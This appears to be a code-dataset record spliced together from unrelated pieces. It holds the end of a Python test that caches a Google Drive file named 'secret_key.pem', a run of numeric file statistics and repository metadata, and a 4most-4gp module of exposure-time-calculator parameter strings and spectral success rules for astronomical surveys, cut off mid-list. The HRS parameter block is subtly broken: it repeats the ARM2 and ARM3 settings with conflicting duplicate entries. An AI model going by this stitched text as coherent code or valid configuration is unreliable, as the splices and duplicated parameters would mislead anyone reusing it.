elapsed0 = time.time() - start_time
# Load it a second
start_time = time.time()
path1 = fannypack.data.cached_drive_file(
"secret_key.pem",
"https://drive.google.com/file/d/1AsY9Cs3xE0RSlr0FKlnSKHp6zIwFSvXe/view",
)
elapsed1 = time.time() - start_time
# Make sure second time was faster
assert elapsed0 > elapsed1
# Check path values
assert path0 == path1
assert "secret_key.pem" in path0
assert os.path.exists(path0)
# Delete temporary files when done
path = os.path.join("tmp/")
if os.path.isdir(path):
shutil.rmtree(path)
def test_cached_drive_file_alternate():
# Move the cache to a temporary directory
fannypack.data.set_cache_path("tmp")
# Load file for the first time
start_time = time.time()
path0 = fannypack.data.cached_drive_file(
"secret_key.pem",
"https://drive.google.com/open?id=1AsY9Cs3xE0RSlr0FKlnSKHp6zIwFSvXe",
)
elapsed0 = time.time() - start_time
# Load it a second
start_time = time.time()
path1 = fannypack.data.cached_drive_file(
"secret_key.pem",
"https://drive.google.com/open?id=1AsY9Cs3xE0RSlr0FKlnSKHp6zIwFSvXe",
)
elapsed1 = time.time() - start_time
# Make sure second time was faster
assert elapsed0 > elapsed1
# Check path values
assert path0 == path1
assert "secret_key.pem" in path0
assert os.path.exists(path0)
# Delete temporary files when done
path = os.path.join("tmp/")
if os.path.isdir(path):
shutil.rmtree(path)
| 25.947368
| 81
| 0.670892
| 255
| 1,972
| 5.058824
| 0.235294
| 0.074419
| 0.069767
| 0.052713
| 0.95814
| 0.924031
| 0.924031
| 0.924031
| 0.924031
| 0.924031
| 0
| 0.02889
| 0.227688
| 1,972
| 75
| 82
| 26.293333
| 0.818122
| 0.171907
| 0
| 0.782609
| 0
| 0
| 0.228395
| 0
| 0
| 0
| 0
| 0
| 0.173913
| 1
| 0.043478
| false
| 0
| 0.086957
| 0
| 0.130435
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
990919d5653a8da8acfbabce061365b0fd7ad0a4
| 45,111
|
py
|
Python
|
src/pythonModules/fourgp_fourfs/fourgp_fourfs/config_files.py
|
dcf21/4most-4gp
|
0421d76791315aa3ca8ff9e4bd2e37ad36c0141f
|
[
"MIT"
] | null | null | null |
src/pythonModules/fourgp_fourfs/fourgp_fourfs/config_files.py
|
dcf21/4most-4gp
|
0421d76791315aa3ca8ff9e4bd2e37ad36c0141f
|
[
"MIT"
] | null | null | null |
src/pythonModules/fourgp_fourfs/fourgp_fourfs/config_files.py
|
dcf21/4most-4gp
|
0421d76791315aa3ca8ff9e4bd2e37ad36c0141f
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
"""
This python package provides a wrapper for functions provided by the 4MOST Facility Simulator, 4FS.
This file contains the standard input configuration parameters for the Exposure Time Calculator (ETC).
"""
ETC_input_params_HRS = """
# example parameter file for 4FS_ETC
SIM.CODE_NAME = 'example_HRS' # Human readable codename for this run of the 4FS_TS
SIM.OUTDIR = './outdir_HRS' # Where should we put output files?
SIM.MODE = 'CALC_TEXP' # Should we calculate SNR from given TEXP, or TEXP/MAG from given SNR? (CALC_SNR,CALC_TEXP,CALC_MAG)
SIM.OUTPUT = 'SUMMARY,SPECTRA_ALL' # Which output types to produce? (ADD LIST OF OPTIONS HERE)
SIM.SPECFORMAT = 'TABLE,NATIVE' # Which output spectral formats should be produced? (IMAGE,TABLE;NATIVE,RESAMPLED)
SIM.CLOBBER = TRUE # Run in clobber mode? (existing output files will be overwritten)
TEMPLATES.FILENAME = 'template_list_test.txt' # Name of file containing the list of spectral templates
RULELIST.FILENAME = 'rulelist.txt' # Name of file containing the list of spectral success rules
RULESETLIST.FILENAME = 'ruleset.txt' # Name of file containing the list of spectral success rulesets
SIM.NUM_FILTERS = 5 # How many filters to read?
SIM.NORM_FILTER.MAGSYS = 'AB' # Magnitude system for normailsing templates (AB,Vega)
SIM.NORM_FILTER1.NAME = 'SDSS u' # Name of filter bandpass
SIM.NORM_FILTER1.FILENAME = '4FS_ETC_system_model_v0.2/filter_curves/SDSS_u_transmission_curve.fits' # Name of file containing the normalising filter bandpass
SIM.NORM_FILTER2.NAME = 'SDSS g' # Name of filter bandpass
SIM.NORM_FILTER2.FILENAME = '4FS_ETC_system_model_v0.2/filter_curves/SDSS_g_transmission_curve.fits' # Name of file containing the normalising filter bandpass
SIM.NORM_FILTER3.NAME = 'SDSS r' # Name of filter bandpass
SIM.NORM_FILTER3.FILENAME = '4FS_ETC_system_model_v0.2/filter_curves/SDSS_r_transmission_curve.fits' # Name of file containing the normalising filter bandpass
SIM.NORM_FILTER4.NAME = 'SDSS i' # Name of filter bandpass
SIM.NORM_FILTER4.FILENAME = '4FS_ETC_system_model_v0.2/filter_curves/SDSS_i_transmission_curve.fits' # Name of file containing the normalising filter bandpass
SIM.NORM_FILTER5.NAME = 'SDSS z' # Name of filter bandpass
SIM.NORM_FILTER5.FILENAME = '4FS_ETC_system_model_v0.2/filter_curves/SDSS_z_transmission_curve.fits' # Name of file containing the normalising filter bandpass
SPECTRO.FIBER_DIAM = 1.45 # Fibre diameter (arcsec)
SPECTRO.EFFECTIVE_AREA = 8.3975 # Effective collecting area of telescope (m^2)
SPECTRO.SKYSUB_RESIDUAL = 0.0 # Fractional uncertaintity on sky subtraction
SPECTRO.NUM_ARMS = 3 # Number of spectrograph arms
SPECTRO.ARM1.CODENAME = 'HRS_blue' # Codename for spectrograph arm
SPECTRO.ARM1.RES_FILENAME = '4FS_ETC_system_model_v0.2/HRS/4MOST_HRS_resolution_curve_slitlet_10_interp_blue.fits' # Filename describing spectral resolution
SPECTRO.ARM1.TPUT_FILENAME = '4FS_ETC_system_model_v0.2/HRS/hrs_blue_material_4fs_efficiency_total.fits' # Filename describing spectral throughput
SPECTRO.ARM1.APER_SIZE = 4.0 # Number of pixels to sum over in the cross-dispersion direction
SPECTRO.ARM1.APER_EEF = 0.9545 # Fraction of light in the extraction aperture
SPECTRO.ARM1.PEAK_PIX_FRAC = 0.3702 # The maximum fraction of the flux that is contained within a single pixel (in the cross-dispersion direction, after on-chip binning)
SPECTRO.ARM1.READ_NOISE = 2.5 # CCD read noise (e-/pix)
SPECTRO.ARM1.DARK_CURRENT = 3.0 # CCD dark current (e-/hr/pix)
SPECTRO.ARM1.FULL_WELL = 350000 # Full well capacity of the CCD (e-/pix)
SPECTRO.ARM1.BINNING.DISP = 1 # On-chip binning in dispersion direction
SPECTRO.ARM1.BINNING.CROSS = 1 # On-chip binning in cross-dispersion direction
SPECTRO.ARM1.LAMBDA.TYPE = 'FULLFILE' # Type of dispersion description, LINEAR, from DISPFILE, or FULLFILE
SPECTRO.ARM1.LAMBDA.FILENAME = '4FS_ETC_system_model_v0.2/HRS/4MOST_HRS_wavelength_solution_slitlet_10_interp_blue.fits' # Filename describing wavelength solution
SPECTRO.ARM2.CODENAME = 'HRS_green' # Codename for spectrograph arm
SPECTRO.ARM2.RES_FILENAME = '4FS_ETC_system_model_v0.2/HRS/4MOST_HRS_resolution_curve_slitlet_10_interp_green.fits' # Filename describing spectral resolution
SPECTRO.ARM2.TPUT_FILENAME = '4FS_ETC_system_model_v0.2/HRS/hrs_green_material_4fs_efficiency_total.fits' # Filename describing spectral throughput
SPECTRO.ARM2.APER_SIZE = 4.0 # Number of pixels to sum over in the cross-dispersion direction
SPECTRO.ARM2.APER_EEF = 0.9545 # Fraction of light in the extraction aperture
SPECTRO.ARM2.PEAK_PIX_FRAC = 0.3702 # The maximum fraction of the flux that is contained within a single pixel (in the cross-dispersion direction, after on-chip binning)
SPECTRO.ARM2.READ_NOISE = 2.5 # CCD read noise (e-/pix)
SPECTRO.ARM2.DARK_CURRENT = 3.0 # CCD dark current (e-/hr/pix)
SPECTRO.ARM2.FULL_WELL = 350000 # Full well capacity of the CCD (e-/pix)
SPECTRO.ARM2.BINNING.DISP = 1 # On-chip binning in dispersion direction
SPECTRO.ARM2.BINNING.CROSS = 1 # On-chip binning in cross-dispersion direction
SPECTRO.ARM2.LAMBDA.TYPE = 'FULLFILE' # Type of dispersion description, LINEAR, from DISPFILE, or FULLFILE
SPECTRO.ARM2.LAMBDA.FILENAME = '4FS_ETC_system_model_v0.2/HRS/4MOST_HRS_wavelength_solution_slitlet_10_interp_green.fits' # Filename describing wavelength solution
SPECTRO.ARM3.CODENAME = 'HRS_red' # Codename for spectrograph arm
SPECTRO.ARM3.RES_FILENAME = '4FS_ETC_system_model_v0.2/HRS/4MOST_HRS_resolution_curve_slitlet_10_interp_red.fits' # Filename describing spectral resolution
SPECTRO.ARM3.TPUT_FILENAME = '4FS_ETC_system_model_v0.2/HRS/hrs_red_material_4fs_efficiency_total.fits' # Filename describing spectral throughput
SPECTRO.ARM3.APER_SIZE = 4.0 # Number of pixels to sum over in the cross-dispersion direction
SPECTRO.ARM3.APER_EEF = 0.9545 # Fraction of light in the extraction aperture
SPECTRO.ARM3.PEAK_PIX_FRAC = 0.3702 # The maximum fraction of the flux that is contained within a single pixel (in the cross-dispersion direction, after on-chip binning)
SPECTRO.ARM3.READ_NOISE = 2.5 # CCD read noise (e-/pix)
SPECTRO.ARM3.DARK_CURRENT = 3.0 # CCD dark current (e-/hr/pix)
SPECTRO.ARM3.FULL_WELL = 350000 # Full well capacity of the CCD (e-/pix)
SPECTRO.ARM3.BINNING.DISP = 1 # On-chip binning in dispersion direction
SPECTRO.ARM3.BINNING.CROSS = 1 # On-chip binning in cross-dispersion direction
SPECTRO.ARM2.LAMBDA.TYPE = 'FULLFILE' # Type of dispersion description, LINEAR, from DISPFILE, or FULLFILE
SPECTRO.ARM2.LAMBDA.FILENAME = '4FS_ETC_system_model_v0.2/HRS/4MOST_HRS_wavelength_solution_slitlet_10_interp_green.fits' # Filename describing wavelength solution
SPECTRO.ARM3.CODENAME = 'HRS_red' # Codename for spectrograph arm
SPECTRO.ARM3.RES_FILENAME = '4FS_ETC_system_model_v0.2/HRS/4MOST_HRS_resolution_curve_slitlet_10_interp_red.fits' # Filename describing spectral resolution
SPECTRO.ARM3.TPUT_FILENAME = '4FS_ETC_system_model_v0.2/HRS/hrs_red_material_4fs_efficiency_total.fits' # Filename describing spectral throughput
SPECTRO.ARM3.APER_SIZE = 4.0 # Number of pixels to sum over in the cross-dispersion direction
SPECTRO.ARM3.APER_EEF = 0.9545 # Fraction of light in the extraction aperture
SPECTRO.ARM3.PEAK_PIX_FRAC = 0.3702 # The maximum fraction of the flux that is contained within a single pixel (in the cross-dispersion direction, after on-chip binning)
SPECTRO.ARM3.READ_NOISE = 2.5 # CCD read noise (e-/pix)
SPECTRO.ARM3.DARK_CURRENT = 3.0 # CCD dark current (e-/hr/pix)
SPECTRO.ARM3.FULL_WELL = 350000 # Full well capacity of the CCD (e-/pix)
SPECTRO.ARM3.BINNING.DISP = 1 # On-chip binning in dispersion direction
SPECTRO.ARM3.BINNING.CROSS = 1 # On-chip binning in cross-dispersion direction
SPECTRO.ARM3.LAMBDA.TYPE = 'FULLFILE' # Type of dispersion description, LINEAR, from DISPFILE, or FULLFILE
SPECTRO.ARM3.LAMBDA.FILENAME = '4FS_ETC_system_model_v0.2/HRS/4MOST_HRS_wavelength_solution_slitlet_10_interp_red.fits' # Filename describing wavelength solution
FIBRECOUPLING.TYPE = 'FILE' # Method by which fibre losses are calculated (NONE,FIXED,SEEING,FILE)
FIBRECOUPLING.FILENAME = '4FS_ETC_system_model_v0.2/fibre_coupling/geometrical_throughput.fits' # File describing fibre losses
FIBRECOUPLING.FRAC_SKY = 1.0 # Fraction of sky light transmitted into fibre
SKY.TRANSMISSION.FILENAME = '4FS_ETC_system_model_v0.2/sky/paranal_sky_transmission_vectors.fits' # Name of file containing the sky transmission info
SKY.EMISSION.FILENAME = '4FS_ETC_system_model_v0.2/sky/paranal_sky_emission_vectors.fits' # Name of file containing the sky emission info
OBS_PARAMS.INTERP_METHOD = 'NEAREST' # Method to use when interpolating obs params grid: NEAREST,LINEAR,SPLINE
OBS_PARAMS.SKYBRIGHT_TYPE = 'ZENITH' # Is the specified sky brightness to be measured at ZENITH or LOCALly?
OBS_PARAMS.AIRMASS = "1.3" # List of airmasses to simulate
OBS_PARAMS.IQ = "1.1" # List of delivered image quality values to simulate (V-band,FWHM,arcsec)
OBS_PARAMS.SKYBRIGHT = "21.77" # List of sky brightnesses to simulate (V-band,ABmag/arcsec2)
OBS_PARAMS.TILT = "6.0" # List of tilts to simulate (mm)
OBS_PARAMS.MISALIGNMENT = "0.1" # List of fibre->target misalignments to simulate (arcsec)
OBS_PARAMS.TEXP = "1200"
OBS_PARAMS.NSUB = "1"
#OBS_PARAMS.TEXP = "100,300,500,1000,1200" # List of total exposure times to simulate (sec)
#OBS_PARAMS.NSUB = "1,1,1,1,1" # List of numbers of sub-exposures to simulate
"""
ETC_input_params_LRS = """
# example parameter file for 4FS_ETC
SIM.CODE_NAME = 'example_LRS' # Human readable codename for this run of the 4FS_TS
SIM.OUTDIR = './outdir_LRS' # Where should we put output files?
SIM.MODE = 'CALC_TEXP' # Should we calculate SNR from given TEXP, or TEXP/MAG from given SNR? (CALC_SNR,CALC_TEXP,CALC_MAG)
SIM.OUTPUT = 'SUMMARY,SPECTRA_ALL' # Which output types to produce? (ADD LIST OF OPTIONS HERE)
SIM.SPECFORMAT = 'TABLE,NATIVE' # Which output spectral formats should be produced? (IMAGE,TABLE;NATIVE,RESAMPLED)
SIM.CLOBBER = TRUE # Run in clobber mode? (existing output files will be overwritten)
TEMPLATES.FILENAME = 'template_list_test.txt' # Name of file containing the list of spectral templates
RULELIST.FILENAME = 'rulelist.txt' # Name of file containing the list of spectral success rules
RULESETLIST.FILENAME = 'ruleset.txt' # Name of file containing the list of spectral success rulesets
SIM.NUM_FILTERS = 5 # How many filters to read?
SIM.NORM_FILTER.MAGSYS = 'AB' # Magnitude system for normailsing templates (AB,Vega)
SIM.NORM_FILTER1.NAME = 'SDSS u' # Name of filter bandpass
SIM.NORM_FILTER1.FILENAME = '4FS_ETC_system_model_v0.2/filter_curves/SDSS_u_transmission_curve.fits' # Name of file containing the normalising filter bandpass
SIM.NORM_FILTER2.NAME = 'SDSS g' # Name of filter bandpass
SIM.NORM_FILTER2.FILENAME = '4FS_ETC_system_model_v0.2/filter_curves/SDSS_g_transmission_curve.fits' # Name of file containing the normalising filter bandpass
SIM.NORM_FILTER3.NAME = 'SDSS r' # Name of filter bandpass
SIM.NORM_FILTER3.FILENAME = '4FS_ETC_system_model_v0.2/filter_curves/SDSS_r_transmission_curve.fits' # Name of file containing the normalising filter bandpass
SIM.NORM_FILTER4.NAME = 'SDSS i' # Name of filter bandpass
SIM.NORM_FILTER4.FILENAME = '4FS_ETC_system_model_v0.2/filter_curves/SDSS_i_transmission_curve.fits' # Name of file containing the normalising filter bandpass
SIM.NORM_FILTER5.NAME = 'SDSS z' # Name of filter bandpass
SIM.NORM_FILTER5.FILENAME = '4FS_ETC_system_model_v0.2/filter_curves/SDSS_z_transmission_curve.fits' # Name of file containing the normalising filter bandpass
SPECTRO.FIBER_DIAM = 1.45 # Fibre diameter (arcsec)
SPECTRO.EFFECTIVE_AREA = 8.3975 # Effective collecting area of telescope (m^2)
SPECTRO.SKYSUB_RESIDUAL = 0.0 # Fractional uncertaintity on sky subtraction
SPECTRO.NUM_ARMS = 3 # Number of spectrograph arms
SPECTRO.ARM1.CODENAME = 'LRS_blue' # Codename for spectrograph arm
SPECTRO.ARM1.RES_FILENAME = '4FS_ETC_system_model_v0.2/LRS/4MOST_LRS_resolution_curve_middle_interp_blue.fits' # Filename describing spectral resolution
SPECTRO.ARM1.TPUT_FILENAME = '4FS_ETC_system_model_v0.2/LRS/lrs_blue_material_4fs_efficiency_total.fits' # Filename describing spectral throughput
SPECTRO.ARM1.APER_SIZE = 4.0 # Number of pixels to sum over in the cross-dispersion direction
SPECTRO.ARM1.APER_EEF = 0.9545 # Fraction of light in the extraction aperture
SPECTRO.ARM1.PEAK_PIX_FRAC = 0.3702 # The maximum fraction of the flux that is contained within a single pixel (in the cross-dispersion direction, after on-chip binning)
SPECTRO.ARM1.READ_NOISE = 2.5 # CCD read noise (e-/pix)
SPECTRO.ARM1.DARK_CURRENT = 3.0 # CCD dark current (e-/hr/pix)
SPECTRO.ARM1.FULL_WELL = 350000 # Full well capacity of the CCD (e-/pix)
SPECTRO.ARM1.BINNING.DISP = 1 # On-chip binning in dispersion direction
SPECTRO.ARM1.BINNING.CROSS = 1 # On-chip binning in cross-dispersion direction
SPECTRO.ARM1.LAMBDA.TYPE = 'FULLFILE' # Type of dispersion description, LINEAR, from DISPFILE, or FULLFILE
SPECTRO.ARM1.LAMBDA.FILENAME = '4FS_ETC_system_model_v0.2/LRS/4MOST_LRS_wavelength_solution_middle_interp_blue.fits' # Filename describing wavelength solution
SPECTRO.ARM2.CODENAME = 'LRS_green' # Codename for spectrograph arm
SPECTRO.ARM2.RES_FILENAME = '4FS_ETC_system_model_v0.2/LRS/4MOST_LRS_resolution_curve_middle_interp_green.fits' # Filename describing spectral resolution
SPECTRO.ARM2.TPUT_FILENAME = '4FS_ETC_system_model_v0.2/LRS/lrs_green_material_4fs_efficiency_total.fits' # Filename describing spectral throughput
SPECTRO.ARM2.APER_SIZE = 4.0 # Number of pixels to sum over in the cross-dispersion direction
SPECTRO.ARM2.APER_EEF = 0.9545 # Fraction of light in the extraction aperture
SPECTRO.ARM2.PEAK_PIX_FRAC = 0.3702 # The maximum fraction of the flux that is contained within a single pixel (in the cross-dispersion direction, after on-chip binning)
SPECTRO.ARM2.READ_NOISE = 2.5 # CCD read noise (e-/pix)
SPECTRO.ARM2.DARK_CURRENT = 3.0 # CCD dark current (e-/hr/pix)
SPECTRO.ARM2.FULL_WELL = 350000 # Full well capacity of the CCD (e-/pix)
SPECTRO.ARM2.BINNING.DISP = 1 # On-chip binning in dispersion direction
SPECTRO.ARM2.BINNING.CROSS = 1 # On-chip binning in cross-dispersion direction
SPECTRO.ARM2.LAMBDA.TYPE = 'FULLFILE' # Type of dispersion description, LINEAR, from DISPFILE, or FULLFILE
SPECTRO.ARM2.LAMBDA.FILENAME = '4FS_ETC_system_model_v0.2/LRS/4MOST_LRS_wavelength_solution_middle_interp_green.fits' # Filename describing wavelength solution
SPECTRO.ARM3.CODENAME = 'LRS_red' # Codename for spectrograph arm
SPECTRO.ARM3.RES_FILENAME = '4FS_ETC_system_model_v0.2/LRS/4MOST_LRS_resolution_curve_middle_interp_red.fits' # Filename describing spectral resolution
SPECTRO.ARM3.TPUT_FILENAME = '4FS_ETC_system_model_v0.2/LRS/lrs_red_material_4fs_efficiency_total.fits' # Filename describing spectral throughput
SPECTRO.ARM3.APER_SIZE = 4.0 # Number of pixels to sum over in the cross-dispersion direction
SPECTRO.ARM3.APER_EEF = 0.9545 # Fraction of light in the extraction aperture
SPECTRO.ARM3.PEAK_PIX_FRAC = 0.3702 # The maximum fraction of the flux that is contained within a single pixel (in the cross-dispersion direction, after on-chip binning)
SPECTRO.ARM3.READ_NOISE = 2.5 # CCD read noise (e-/pix)
SPECTRO.ARM3.DARK_CURRENT = 3.0 # CCD dark current (e-/hr/pix)
SPECTRO.ARM3.FULL_WELL = 350000 # Full well capacity of the CCD (e-/pix)
SPECTRO.ARM3.BINNING.DISP = 1 # On-chip binning in dispersion direction
SPECTRO.ARM3.BINNING.CROSS = 1 # On-chip binning in cross-dispersion direction
SPECTRO.ARM3.LAMBDA.TYPE = 'FULLFILE' # Type of dispersion description, LINEAR, from DISPFILE, or FULLFILE
SPECTRO.ARM3.LAMBDA.FILENAME = '4FS_ETC_system_model_v0.2/LRS/4MOST_LRS_wavelength_solution_middle_interp_red.fits' # Filename describing wavelength solution
FIBRECOUPLING.TYPE = 'FILE' # Method by which fibre losses are calculated (NONE,FIXED,SEEING,FILE)
FIBRECOUPLING.FILENAME = '4FS_ETC_system_model_v0.2/fibre_coupling/geometrical_throughput.fits' # File describing fibre losses
FIBRECOUPLING.FRAC_SKY = 1.0 # Fraction of sky light transmitted into fibre
SKY.TRANSMISSION.FILENAME = '4FS_ETC_system_model_v0.2/sky/paranal_sky_transmission_vectors.fits' # Name of file containing the sky transmission info
SKY.EMISSION.FILENAME = '4FS_ETC_system_model_v0.2/sky/paranal_sky_emission_vectors.fits' # Name of file containing the sky emission info
OBS_PARAMS.INTERP_METHOD = 'NEAREST' # Method to use when interpolating obs params grid: NEAREST,LINEAR,SPLINE
OBS_PARAMS.SKYBRIGHT_TYPE = 'ZENITH' # Is the specified sky brightness to be measured at ZENITH or LOCALly?
OBS_PARAMS.AIRMASS = "1.4" # List of airmasses to simulate
OBS_PARAMS.IQ = "1.1" # List of delivered image quality values to simulate (V-band,FWHM,arcsec)
OBS_PARAMS.SKYBRIGHT = "21.77" # List of sky brightnesses to simulate (V-band,ABmag/arcsec2)
OBS_PARAMS.TILT = "6.0" # List of tilts to simulate (mm)
OBS_PARAMS.MISALIGNMENT = "0.1" # List of fibre->target misalignments to simulate (arcsec)
OBS_PARAMS.TEXP = "500" # List of total exposure times to simulate (sec)
OBS_PARAMS.NSUB = "1" # List of numbers of sub-exposures to simulate
"""
rulelist = """
#RULE VARIABLE METRIC OPER VALUE L_MIN L_MAX L_UNIT DELTAL DELTAL_UNIT
SNR60 SNR MEDIAN GE 60.0 522.5 569.0 NM 1.0 PIX
MEDIANSNRLRS SNR MEDIAN DIV 1.0 560.0 620.0 NM 1.0 PIX
MEDIANSNRHRS SNR MEDIAN DIV 1.0 520.0 560.0 NM 1.0 PIX
DCFSNR SNR MEDIAN DIV 1.0 618.0 668.0 NM 1.0 PIX
############################################################################################################
# Title: Interpretation of 4MOST Phase A Spectral Success Criteria for input into "round9" of the 4FS
# Author: T. Dwelly (dwelly@mpe.mpg.de)
# Last updated: 12.09.2016 (rev11)
#
# Scope: This file is the author's interpretation of the Spectral Success Criteria that were used by the seven Design
# Reference Surveys (DRSs) that were considered in the 4MOST Phase A. The spectral success criteria have
# been translated into the standard format understood by the 4FS_ETC tool. The original (human readable)
# definitions are given in the following document (referred to below as the SuccCritDoc):
# http://wiki.4most.eu/local--files/4fs-dqct-verification/DRS_SuccessCriteriaFINAL.pdf
# In cases where the SuccCritDoc is ambiguous I have referred to the IoA_DQCT python code:
# http://wiki.4most.eu/local--files/4fs-dqct-verification/update_exptimes_new.py
# I have noted where the calculation in update_exptimes_new.py seems to differ
# from my interpretation of the SuccCritDoc, and where there are still ambiguities.
# Note that the spectral success criteria for GalHaloHR have been updated since PhaseA (see email
# exchange, subject "Halo HR survey FoM update" at end of July 2015).
# See also: rulesetlist_derived_from_phaseA_SuccCritDoc.txt
#
# History:
# rev3 - Copied from rulelist_derived_from_phaseA_SuccCritDoc.txt
# - Removed old rest-frame rules for AGN
# rev4 (20.01.2016) - Updated DRS3 rules and rulesets according to info on IWG2 wiki pages
# rev5 (11.02.2016) - Renamed "DRSn" to "Sn".
# - Changed S4 rules slightly to require median(SNR) rather than min(SNR).
# rev6 (19.02.2016) - Added new rules for 1001MC.
# rev7 (02.03.2016) - Added new obs frame rule for Clusters
# rev8 (20.05.2016) - Treat GalHaloHR targets differently according to type (Dwarf or Giant)
# rev9 (25.05.2016) - Change wavelength ranges in Rules for S3 GalDiskLR
# rev10 (16.08.2016) - Change Rules for S4, move definition of SNR thresholds into Ruleset
# rev11 (12.09.2016) - Added new Rules for S8
#
############################################################################################################
############################################################################################################
############################################################################################################
## S1 Low resolution Milky Way halo (GalHaloLR)
############################################################################################################
#RULE_NAME VARIABLE METRIC OPERATOR COMP_VALUE LAMBDA_MIN LAMBDA_MAX LAMBDA_UNIT DELTAL DELTAL_TYPE
GalHaloLR_blue SNR MEDIAN GE 10.0 5150.0 5200.0 AA 1.0 AA
GalHaloLR_red SNR MEDIAN GE 10.0 8490.0 8675.0 AA 1.0 AA
#Notes:
#Notes: IoA_DQCT's wavelength range is 8582+-45AA - not 8490.0->8675.0AA
#Notes: SNR is measured per AA but in SuccCritDoc it is not specified.
#Notes: In an email from Mike Irwin, subject "Re: 4MOST - Spectra Quality Criteria for Round 6 (corrections)"
#Notes: (date 09/01/2013) it is mentioned that the criterion is "median snr > 10 over the wavelength range",
#Notes: rather than the minimum SNR as given in the SuccCritDoc
#Notes:
############################################################################################################
############################################################################################################
############################################################################################################
############################################################################################################
## S2 High resolution Milky Way halo (GalHaloHR)
############################################################################################################
#RULE_NAME VARIABLE METRIC OPERATOR COMP_VALUE LAMBDA_MIN LAMBDA_MAX LAMBDA_UNIT DELTAL DELTAL_TYPE
#GalHaloHR_blue SNR 95PC GT 50.0 426.1 427.0 NM 0.01 NM
GalHaloHR_blue SNR 95PC DIV 1.0 426.1 427.0 NM 0.01 NM
#Notes:
#Notes: The above is an updated criterion (May 2016), allowing different rulesets to have different SNR thresholds
#Notes:
############################################################################################################
############################################################################################################
############################################################################################################
############################################################################################################
## S3 Low resolution Milky Way disk/bulge (GalDiskLR)
############################################################################################################
#RULE_NAME VARIABLE METRIC OPERATOR COMP_VALUE LAMBDA_MIN LAMBDA_MAX LAMBDA_UNIT DELTAL DELTAL_TYPE
GalDiskLR_CaII SNR MEDIAN DIV 1.0 870.0 875.0 NM 1 AA
GalDiskLR_Mgb SNR MEDIAN DIV 1.0 570.0 580.0 NM 1 AA
GalDiskLR_blue SNR MEDIAN DIV 1.0 459.0 464.0 NM 1 AA
#Notes:
#Notes: Revised description received 24/05/2016
#Notes: For DRS3 can we ask also for a (hopefully straightforward) test?
#Notes: In our S/N calculations we have given initially quite large regions
#Notes: where our lines of interest lie. We would like to change these to instead
#Notes: contain the best nearby continuum regions, so that the lines don't affect
#Notes: the S/N measurement, as detailed below:
#Notes: Closest continuum regions for the following spectral regions:
#Notes: GalDiskLR_CaII was 835-885 nm ==> 870 - 875
#Notes: GalDiskLR_Mgb was 514-520 nm == > 570- 580
#Notes: GalDiskLR_blue was 450-470 nm ==> 459 - 464
#Notes:
#GalDiskLR_CaII SNR MEDIAN DIV 1.0 835.0 885.0 NM 1 AA
#GalDiskLR_Mgb SNR MEDIAN DIV 1.0 514.0 520.0 NM 1 AA
#GalDiskLR_blue SNR MEDIAN DIV 1.0 450.0 470.0 NM 1 AA
#Notes: Revised rules from IWG2 wiki page, updated 18/01/2015, adapted from description below
#Notes: Successful targets:
#Notes: ESN: MEDIAN SN/AA > 30 over range 835-885 nm (Ca II triplet region) and 514-520 nm (Mg triplet region),
#Notes: DiskDyn: MEDIAN SN/AA > 30 over range 835-885 nm,
#Notes: DiskChem: MEDIAN SN/AA > 60 over range 450-470 nm and 514-520 nm,
#Notes: Bulge: MEDIAN SN/AA > 60 over range 450-470 nm + 514-520 nm
#Notes:
############################################################################################################
############################################################################################################
############################################################################################################
## S4 High resolution Milky Way disk/bulge (GalDiskHR)
############################################################################################################
#RULE_NAME VARIABLE METRIC OPERATOR COMP_VALUE LAMBDA_MIN LAMBDA_MAX LAMBDA_UNIT DELTAL DELTAL_TYPE
GalDiskHR_536NM SNR MEDIAN DIV 1.0 535.4 536.1 NM 1 AA
GalDiskHR_545NM SNR MEDIAN DIV 1.0 544.8 546.0 NM 1 AA
GalDiskHR_620NM SNR MEDIAN DIV 1.0 619.0 621.0 NM 1 AA
#Notes:
#Notes:
#Notes: Update 2016-08-15:
#Notes: Sub-surveys 1 (bulge), 2 (inner disk), and 3 (outer disk):
#Notes: median(SNR/AA) >= 100.0 over ranges 535.4 - 536.1 nm and 544.8 - 546.0 nm, and 619.0-621.0 nm
#Notes: Sub-survey 4 (metallicity-complete local disk):
#Notes: median(SNR/AA) >= 165.0 over ranges 535.4 - 536.1 nm and 544.8 - 546.0 nm, and 619.0-621.0 nm
#Notes:
#Notes:
#old# #RULE_NAME VARIABLE METRIC OPERATOR COMP_VALUE LAMBDA_MIN LAMBDA_MAX LAMBDA_UNIT DELTAL DELTAL_TYPE
#old# GalDiskHR_blue SNR MEDIAN GE 50.0 419.0 421.0 NM 0.0084 NM
#old# GalDiskHR_red SNR MEDIAN GE 50.0 619.0 621.0 NM 0.0124 NM
#old# #Notes: Wavelength range is not specified, assuming measurements are made over +-10AA from nominal wavelength
#old# #Notes: SNR requirements in SuccCritDoc are:
#old# #Notes: "Minimum S/N per pixel requested at resolution 20000 and 2.5 pixel/resolution element"
#old# #Notes: Interpret this requirement by measuring SNR in linear wavelength bins:
#old# #Notes: * measure SNR per deltaL=420/(20000*2.5)=0.0084nm @ 420nm and
#old# #Notes: * measure SNR per deltaL=620/(20000*2.5)=0.0124nm @ 620nm
#old# #Notes: IoA_DQCT's criterion for GalDiskHRdwarf and GalDiskHRgiant_MP is max(SNR/pix)>threshold over given
#old# #Notes: wavelength range, but SuccCritDoc imples that criteria should be min(SNR/pix) >threshold
#old# #Notes:
#old# #Notes: Slightly updated on 11.02.2016: changed metric from MIN to MEDIAN.
#old# #Notes:
############################################################################################################
############################################################################################################
############################################################################################################
############################################################################################################
## S5 X-ray galaxy clusters (Clusters)
############################################################################################################
#RULE_NAME VARIABLE METRIC OPERATOR COMP_VALUE LAMBDA_MIN LAMBDA_MAX LAMBDA_UNIT DELTAL DELTAL_TYPE
ClusEll_SNR_Specgen SNR MEDIAN DIV 1.0 6000.0 6400.0 OBS_AA 1.0 OBS_AA
#Notes:
#Notes: Clusters rule is now updated to new (March 2016) prescription, based on observer frame SNR
#Notes: Rule based on experiments with SpecGen->4FS_ETC->AutoZ
#Notes:
#Notes:
############################################################################################################
############################################################################################################
############################################################################################################
## S6 X-ray AGN (AGN)
############################################################################################################
